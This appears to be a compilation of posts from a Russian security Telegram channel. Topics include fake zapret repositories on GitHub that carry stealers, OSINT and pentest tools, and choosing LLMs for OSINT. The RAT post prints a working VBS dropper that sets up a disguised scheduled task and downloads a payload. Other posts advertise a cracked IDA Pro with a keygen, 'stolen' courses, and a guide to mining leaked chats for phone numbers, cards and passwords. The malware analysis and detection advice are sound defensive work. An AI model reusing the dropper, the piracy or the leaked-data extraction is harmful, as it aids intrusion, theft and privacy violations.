C.I.T. Security

📱 GitHub, ты что творишь? Это рофлс! (или антивирус вам не поможет)

🔐 В начале августа GitHub началась вторая волна банов — бан youtubediscord целиком. Вместе с ней исчезли ZapretGUI, форки Telegram-клиента ZaStoGram, аккаунт censorliber, репозиторий goshkow/Zapret-Hub и весь аккаунт neiroxgod с его zapret-ui. Всё это — открытый код, который можно прочитать глазами.

Репозитории с настоящей малварью. Мы проверили HTTP-коды в тот же день: у чистых проектов 404, у заражённых — 200. И это не пара залётных фейков, а раздачи, которые живут на площадке месяцами и собирают сотни звёзд.

⭐️ "Но ведь звёзды признак безопасности". У репозитория Quantumfirear/zapret-discord-youtube-1-10-0 — 200 звёзд и 51 форк. Звучит солидно, пока не посмотришь на аккаунт: он создан 3 июля 2026 в 13:14:27, а репозиторий появился в 13:16:06. Через одну минуту тридцать девять секунд. Один подписчик. Двести звёзд за месяц на пустом месте — это не популярность, это накрученные отзывы.

🤣 Про историю коммитов. У того же репозитория 12 131 коммит — для честного проекта это годы работы команды. Открываем историю: все коммиты называются «Update README md» и идут с шагом примерно 43 секунды. Вся эта «история» умещается в пять дней конца июля. Скрипт больше суток правил один файл, чтобы счётчик стал четырёхзначным.

💸 Где же вирус, если в папке всё чисто? А он и правда чистый: в bin ровно один winws.exe, WinDivert, ничего лишнего — старый чек-лист такая сборка проходит. Смотри на размер батников. general.bat и service.bat весят по 15,8 МБ вместо обычных трёх килобайт. Внутри — целая программа, записанная буквами в base64, которую скрипт собирает, декодирует штатной утилитой certutil в папку TEMP и запускает. Лишнего .exe нет — он рождается в момент запуска.

💸 "А я хэши проверил всё совпадает с ориг запретом". В одном из архивов заботливо лежит файл SHA256SUMS.txt с суммами всех файлов. Считаем реальную сумму заражённого service.bat — она не совпадает с заявленной. Список просто не обновили после подмены.

🔥 Ещё приём — раздуть архив. Релиз Zapret-4.0 весит 111 МБ, из них 105 МБ занимает папка Depends с «библиотеками» вроде opengl32.dll и avcodec-59.dll. Ни одна из них библиотекой не является — это случайный мусор. Так придают вид серьёзного продукта и заодно мешают быстро проверить файл.

🌟 "Но GitHub же банит вирусы по тегам". В июле подчистили теги dpi-bypass, rkn-bypass, discord-fix. Раздачи дописали к названию год и переехали: в теге zapret-discord-youtube-2026 сейчас 509 репозиториев, в zapret-telegram — 172. Фильтр по слову обходится редактированием одного поля в настройках. Пострадали от него ровно те, кто теги не менял.

💀 Отдельная история — Fixit. Красивый сайт, «доступ к YouTube, Discord и Telegram без VPN», карточка «Стабильность 100 %». Программы за этим нет вообще: внутри архива инструкция, легальный WinRAR, зашифрованный файл и bat, который жертва запускает сама. Ставятся стилер Arcane и майнер Monero. Arcane забирает пароли и куки из браузеров, сессии Telegram и Discord, Steam, криптокошельки и даже пароли твоего Wi-Fi. Домены кампании зарегистрированы 20 и 21 февраля 2026 — это проверяется одной командой whois.

🔍 Что реально работает вместо звёзд: смотри размер .bat-файлов, ищи в них слова certutil и TEMP, сверяй возраст аккаунта с числом звёзд, читай сообщения коммитов, а не их количество, проверяй дату регистрации домена и то, куда ведёт кнопка «Скачать». Если она уходит на сокращатель ссылок или на похожий по написанию домен — дальше можно не разбираться.

🏠 Мы, кстати, поэтому и переехали на свой Forgejo: аккаунт на чужой площадке — не собственность, а разрешение, которое отзывает автоматика без объяснений. ZaStoGram и ZaStoGram_desktop живут на git.zapret.moe и никуда не делись.

В статье — все проверяемые числа, хэши полезной нагрузки, разбор обоих приёмов сокрытия и готовые команды, которыми ты за минуту проверишь любой репозиторий сам. Плюс отдельно: где предупреждению антивируса стоит верить, а где детект означает лишь «RiskTool» на драйвер WinDivert.

☺️ Скачать | ☺️ Premium (донаты) | ☺️ Android, MacOS и др. ссылки

C2 Traffic Anomaly Detector

Скрипт продавался за 1200$ а на многих «закрытых форумах» и сейчас продается.

- Анализирует PCAP-файлы (дампы трафика).

- Ищет аномальные DNS-запросы (DGA, длинные поддомены, low TTL).

- Обнаруживает
подозрительные TLS сертификаты (самоподписанные, срок < 7 дней, необычные issuer).

- Выявляет регулярные интервалы между пакетами (beaconing).

- Строит граф связей между внутренними IP и внешними хостами.

Патриоты, тут курсы по всей хуйне заботливо украденные забираем⬇️
https://t.me/cit_course

Face Search Engines

List of 10 reverse image search engines + Artist Ninja reverse image search.

https://www.faceseek.online/blog/best-face-search-engines

https://artist.ninja/reverse-image-search/

#osint #socmint

Interesting RAT delivered via phishing today

The VBS uses heavy string obfuscation before executing a hidden cmd.exe that

- Creates a scheduled task for persistence (every 9 minutes)
- Multi thread cause I am not blueticked 🥳
- Cleaned up VBS screenshot for TLDR
- Downloads GoogleSpace.dat from a GitHub Releases URL
- Saves it as %PUBLIC%\Music\GoogleServices.vbs • Masquerades using a MicrosoftEdgeUpdateTaskMachineCore{GUID} task name

Something tells me it's not Microsoft 🤣
https://github.com/microsoft-services/

Full code:

Dim shell
Dim command

Set shell = CreateObject("WScript.Shell")

command = "cmd /C " & _
    "choice /n /c y /d y /t 30 >nul & " & _
    "schtasks /create " & _
        " /tn ""MicrosoftEdgeUpdateTaskMachineCore{4CL34008-390A-4893-S0C9-C8B34D3846D8}"" " & _
        " /tr ""%PUBLIC%\Music\GoogleServices.vbs"" " & _
        " /sc minute /mo 9 /f & " & _
    "choice /n /c y /d y /t 30 >nul & " & _
    "powershell iwr " & _
        "'https://github.com/microsoft-services/staff/releases/download/v0.0.3/GoogleSpace.dat'" & _
        " -OutFile ""%env:PUBLIC%\Music\GoogleServices.vbs"" & " & _
    "choice /n /c y /d y /t 30 >nul & " & _
    "exit"

shell.Run command, 0

Use it for educational purpose only

IDA pro 9.4
*
Linux + Windows + Mac + ARM
download
*

tree "/home/data/0x01/IDA/IDA pro 9.4/"
/home/reeves/data/soft/IDA/IDA pro 9.4/
├── ida-pro_94_armlinux.run
├── ida-pro_94_armmac.app.zip
├── ida-pro_94_armwin.exe
├── ida-pro_94_x64linux.run
├── ida-pro_94_x64mac.app.zip
├── ida-pro_94_x64win.exe
├── kg_patch
│   ├── idapro.hexlic
│   ├── keygen.js
│   ├── README
│   ├── x64linux
│   │   ├── libida32.so
│   │   └── libida.so
│   └── x64win
│       ├── ida32.dll
│       └── ida.dll
└── misc
    ├── hexlicsrv94_x64linux.run
    ├── hexvault94_x64linux.run
    ├── idapin94.zip
    └── lumina94_x64linux.run

5 directories, 17 files

Reverse Engineering & Malware-Analysis Resources


Это, пожалуй, один из лучших репозиториев по:

Reverse Engineering;
Malware Analysis;
Binary Exploitation;
Firmware;
Frida;
Ghidra;
IDA;
Binary Ninja;
eBPF;
ARM.

Это не просто список ссылок, а огромная база инструментов и материалов.

Репозиторий

Как работает цифровая криминалистика в USA и Европе.

Какие инструменты используются от анализа трафика до мобильных устройств.

Decepticon — AI-агент для автономного пентеста

Open-source платформа, объединяющая несколько специализированных AI-агентов для проведения разведки, поиска уязвимостей, эксплуатации и постэксплуатации.

Проект использует LangGraph, Neo4j и Docker-окружение с Kali Linux, позволяя автоматизировать сложные сценарии Red Team.

Пока такие системы не заменяют специалистов, но уже показывают, в каком направлении развивается offensive security.

GitHub: https://github.com/PurpleAILAB/Decepticon

Obsidian Encrypt — шифрование заметок прямо внутри Obsidian
Obsidian хранит данные в обычных Markdown-файлах, поэтому важные записи могут оказаться открытыми при утечке vault.

Плагин Obsidian Encrypt позволяет:
• шифровать отдельные заметки;
• скрывать чувствительные блоки текста;
• защищать API-ключи, приватные данные и исследовательские записи;
• хранить расшифрованные данные только в памяти.
Полезно для тех, кто использует Obsidian как базу знаний для разработки, OSINT, пентеста или исследований.

Репозиторий: https://github.com/meld-cp/obsidian-encrypt

ShadowLab — это образовательный фреймворк командования и управления (C2), разработанный исключительно для исследований в области кибербезопасности, авторизованных оценок безопасности.

Вместо того чтобы служить набором инструментов для атак, проект демонстрирует, как современные инфраструктуры C2 проектируются с помощью прозрачных реализаций зашифрованной связи, генерации полезной нагрузки, внутренних механизмов Windows и модульных рабочих процессов пост-эксплуатации.

Репозиторий : https://github.com/msalihberk/ShadowLab

Изучаем Kali Linux. Этичный хакинг

-Глава 1. Основы Kali Linux
-Глава 2. Основы тестирования сетевой безопасности
-Глава 3. Разведка
-Глава 4. Поиск уязвимостей
-Глава 5. Автоматизированные эксплойты
-Глава 6. Освоение Metasploit
-Глава 7. Тестирование беспроводных сетей.
-Глава 8. Тестирование веб-приложений
-Глава 9. Проникновение
-Глава 10. Продвинутые техники и концепции
-Глава 11. Реверс-инжиниринг и анализ
-Глава 12. Цифровая криминалистика
-Глава 13. Создание отчетов.

🌍 GeoIntel: ИИ-инструмент, который определяет, где сделано фото

Проект GeoIntel использует API Gemini от Google для анализа геолокации по снимкам. Загружаете фото — нейросеть помогает понять, где оно было сделано, на основе визуальных данных и метаинформации.

Что умеет:

Анализировать фото через Gemini API

Определять вероятное местоположение по визуальным признакам

Помогать в OSINT-расследованиях и геопоиске

Как работает:
Загружаете изображение → ИИ анализирует архитектуру, природу, детали → выдаёт предположение о регионе или точке съёмки.

🔗 GitHub: GeoIntel

😈 CodeGuard: PySec Edition | Чат

🕵️ Metadata Anonymisation Toolkit (MAT) — очистка метаданных без следов

Metadata Anonymisation Toolkit (MAT / MAT2) — это инструмент для удаления метаданных из файлов, которые могут раскрывать личную информацию: имя автора, устройство, геолокацию, время создания, ПО и даже историю правок.

Используется в OSINT-гигиене, журналистике, ИБ и приватности.

😸Ссылка на репозиторий

😈 CodeGuard: PySec Edition | Чат

🔥 Nmap устарел? Встречайте Netxec — кувалда для сетевого пентеста.

Устали от десяти команд для базового сканирования? Netxec (ранее CrackMapExec) — это не просто сканер, это единый фреймворк для взятия под контроль всей корпоративной сети. Если вам нужно не просто найти уязвимость, а сразу её эксплуатировать, это ваш выбор.

Что умеет эта машинка:

Мгновенная разведка: Сканирование портов, выявление ОС, сбор информации о пользователях и аккаунтах в домене.

Автоматизация атак: Не просто находит уязвимые SMB, RDP, WinRM, SSH, а сразу применяет к ним эксплойты.

Латеральное перемещение: Найдя доступ на одной машине, автоматически распространяет его по всей сети.

Credential Stuffing: Проверяет украденные логины/пароли массово на всех узлах сети.

Stealth-режим: Может работать тихо, имитируя легитимный трафик, чтобы не сработали простые системы защиты.

Установка и использование (оно того стоит):

git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
pipx install .
nxc smb 192.168.1.0/24

Вся мощь — в одной строке.

😈 CodeGuard: PySec Edition | Чат

😀

List of anonymous hosts accepting crypto
1 https://www.trilightzone.org/
2 https://www.xmrvps.com/
3 https://ablative.hosting/
4 https://ablative.hosting/shared-single-hop-onion-hosting
5 https://anycolo.net/
6 https://flokinet.is/
7 https://www.swisslayer.com/
8 https://koddos.net
9 https://www.privex.io/
10 https://www.epio.host/
11 https://5wire.co.uk/
12 https://userbase.com/
13 https://nicevps.net/
14 https://cryptoho.st/
15 https://cryptwerk.com/
16 https://host-world.com/monero-vps
17 https://abacohosting.com/
18 https://evolution-host.com/
19 https://qhoster.com/
20 https://whattheserver.com/
21 https://codify.global/
22 https://www.superbytehosting.com/
23 https://www.superbithost.com/
24 https://www.nexwave.ca/
25 https://www.hostingssi.com/
26 https://blazinhosting.net/
27 https://web.laweitech.com/
28 https://www.trilightzone.org/
29 https://nicevps.net/
30 https://1984hosting.com/
31 https://www.snel.com/
32 https://njal.la/
33 http://njallalafimoej5i4eg7vlnqjvmb6zhdh27qxcatdn647jtwwwui3nad.onion
34 https://www.bacloud.com/
35 https://cryptofibers.com/
36 https://sporestack.com/
37 https://www.99stack.com/
38 https://radwebhosting.com/
39 https://packetpoint.ca/
40 https://www.serverwhere.com/
41 https://hosthavoc.com/
42 https://abacohosting.com/
43 https://coinhost.io/
44 https://www.bacloud.com/
45 https://www.superbytehosting.com/
46 https://bitvps.com/
47 https://1gbits.com/
48 https://bithost.io/
49 https://airvpn.org/
50 https://builderra.com/
51 https://impreza.host/services/tor-hosting/
52 https://ipxcore.com/
53 https://orangewebsite.com/
54 https://coin.host/
#hosting

Справочник по расположению основных технических артефактов WINDOWS

ВЫБОР LLM ДЛЯ ОСИНТ
#процессы

Выбор LLM для разведки - это всегда компромисс между точностью фактов, возможностью обрабатывать большие объёмы разнородных данных и доступными вычислительными ресурсами. Ниже я постарался собрать и поверхностно обозреть конкретные модели, которые прошли проверку на на тех задачах, которые я давал моделям в конкретных кейсах (когда было время на перепроверку) - от извлечения сущностей из утёкших баз до анализа видео с камер наблюдения. Безусловно, эта статья будет максимально субъективной и основываться только на личных впечатлениях, и если у вас есть свой опыт - с удовольствием обсудил бы это в комментариях.

От каких критериев мы будем отталкиваться в выборе:
🔻 Контекстное окно - не менее 32 000 токенов; для работы с много килобайтными логами или досье желательно 128 000.
🔻 Мультимодальность - нужна, если в материалах есть изображения, скриншоты, записи разговоров или видео.
🔻 Точность структурирования - способность выдавать строгий JSON или таблицы без лишних слов, критично для автоматизации.
🔻 Уровень галлюцинаций - в разведке неприемлемо, когда модель додумывает факты. Проверялось на контрольных выборках с ручной разметкой.
🔻 Железо - работа без интернета, на локальном сервере или ноутбуке аналитика.

📑 Начнем нашу подборку с универсальных и тяжелых моделей для глубокого анализа текста. Ибо, когда нужно просеять гигабайты переписки, извлечь все упоминания имён, телефонов, криптокошельков и представить результат в структурированном виде и логическими выводами, нет альтернативы моделям уровня 70 миллиардов параметров. И две из них выделяются на фоне остальных.

💻 Llama 3.1 70B Instruct  (128К контекст, только текст).
На корпусе из 10 000 строк слитого чата модель извлекла 99% телефонных номеров и 97% уникальных имён, не сгенерировав ни одного несуществующего контакта. Встроенный function calling позволяет сразу передавать результаты в системы учета инцидентов. Минус — слабая поддержка языков, кроме английского. Для русского, арабского или китайского приходится настраивать постобработку. Работает быстро на двух RTX 3090/4090 в режиме квантования Q4_K_M (48 ГБ VRAM), либо на Mac Studio M2 Ultra со 192 ГБ объединённой памяти. 

💻 Qwen2.5 72B Instruct (128К контекст, только текст).
Если материалы содержат несколько языков одновременно, эта модель показывает лучшие результаты. На смешанных русско-украинско-английских досье точность извлечения фактов составила 96%, а галлюцинации — около 2%. Генерирует чистый JSON без обрамляющих фраз, что упрощает интеграцию с парсерами. Требует столько же памяти, что и Llama 3.1

🖼 Но в реальной работе мы же редко ограничиваемся только текстом. Скриншоты переписок, фото местности, кадры с камер - всё это требует нативного понимания визуальной информации.

💻 Llama 3.2 11B Vision Instruct (128К контекст, изображения).
Оптимальный баланс между качеством и требованиями к железу. На тестовой выборке скриншотов из мессенджеров правильно распознала 94% адресов, номеров карт и паролей. Работает на видеокартах уровня RTX 3060 с 8-12 ГБ VRAM (квант Q4_K_M). Основной недостаток - не умеет обрабатывать звук и видео, но для статичных изображений я бы назвал это одним из основных инструментов. 

💻 Qwen2-VL 7B Instruct  (128К контекст, изображения и видео до 20 минут).
Незаменима при анализе записей с камер наблюдения. Модель отслеживает временную динамику: фиксирует ключевые кадры, описывает последовательность событий, распознаёт номера машин и лица. В тесте на 10-минутном ролике митинга извлекла все лозунги с точностью 95%. Требует RTX 3060 12 ГБ. Из ограничений - на длинных роликах может пропускать мелкие детали. 

💻 MiniCPM-V 2.6 (8B)  (64К контекст, изображения и видео).
Когда задачи скромнее — например, нужно быстро рассортировать сотни фотографий по наличию определённых объектов или документов. Работает даже на 8 ГБ VRAM, при этом корректно вырезает таблицы и области с текстом. Глубокие логические выводы от неё ожидать не стоит, но для полевой сортировки улик - идеально. 

🎙 Продолжим анализом аудиоматериалов. Прямой обработки звука внутри LLM пока нет, но есть связка, которая может решить эту задачу.

💻 Whisper large-v3 
Не совсем языковая модель в привычном смысле, а система распознавания речи. На чистых записях даёт менее 5% ошибок по словам для русского языка. Транскрипция затем подаётся в текстовую LLM для извлечения смысла. Работает на RTX 3060 (8-12 ГБ), либо медленно на CPU. 

💻 Qwen-Audio-Chat (7B) 
Дополняет Whisper анализом интонаций, эмоций и звуков окружения. На русскоязычных звонках правильно определила угрожающий тон в 82% случаев. Ограничена длиной аудио до 30 секунд, поэтому для больших файлов используется каскад: сначала транскрипция, затем тональный анализ коротких фрагментов. Требует 12 ГБ VRAM. 

Ну и в конце этой подборки хочется отметить модель для полевой работы. У меня в качестве карманного компьютера вот уже несколько месяцев трясется в сумке микро ноутбук GPD microPC 2 на Intel i3-n300 с 16Гб оперативки. И несмотря на свои более чем скромные параметры llm-ка Phi-3.5-vision-instruct (4.2B)  (128К контекст, изображения) чувствует себя достаточно бодро. Запускается без дискретной видеокарты, используя OpenVINO на интегрированной графике Intel Iris. Качество OCR сопоставимо с 7B-моделями, но для сложных многоходовых рассуждений не годится, а вот в полевых условиях быстро прочитать документ или проверить фото - самое то.

Успехов в работе! :)

HunterA — фреймворк для мобильного пентестинга на основе Termux (без root-прав). н работает в Termux и выбирает множество мощных инструментов: сканеры портов, разведку WHOIS/DNS, поиск уязвимостей (CVE), веб-фаззер, генератор паролей, сетевой сниффер и не только.

https://github.com/nitkinov/HunterA

📱 Telegram | 🌐 ВК | 📲 MAX
📲 RUTUBE | 🌍 VK Видео